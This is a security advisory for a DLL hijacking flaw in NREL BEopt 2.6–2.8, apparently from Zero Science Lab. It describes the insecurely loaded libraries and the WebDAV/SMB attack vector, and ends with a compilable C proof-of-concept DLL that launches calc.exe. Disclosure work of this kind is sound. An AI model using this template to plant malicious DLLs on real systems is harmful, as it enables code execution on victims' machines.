/* NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution Vendor: NREL Product web page: https://beopt.nrel.gov Affected version: 2.8.0.0, 2.7.0.0 and 2.6.0.1 Summary: The BEoptaC/ (Building Energy Optimization Tool) software provides capabilities to evaluate residential building designs and identify cost-optimal efficiency packages at various levels of whole-house energy savings along the path to zero net energy. Desc: BEopt suffers from a DLL Hijacking issue. The vulnerability is caused due to the application loading libraries (sdl2.dll and libegl.dll) in an insecure manner. This can be exploited to load arbitrary libraries by tricking a user into opening a related application file .BEopt located on a remote WebDAV or SMB share. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5513 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5513.php 06.02.2019 */ // gcc -shared -o SDL2.dll exploit.c #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) { exec(); return 0; } int exec() { WinExec("calc.exe" , SW_NORMAL); return 0; }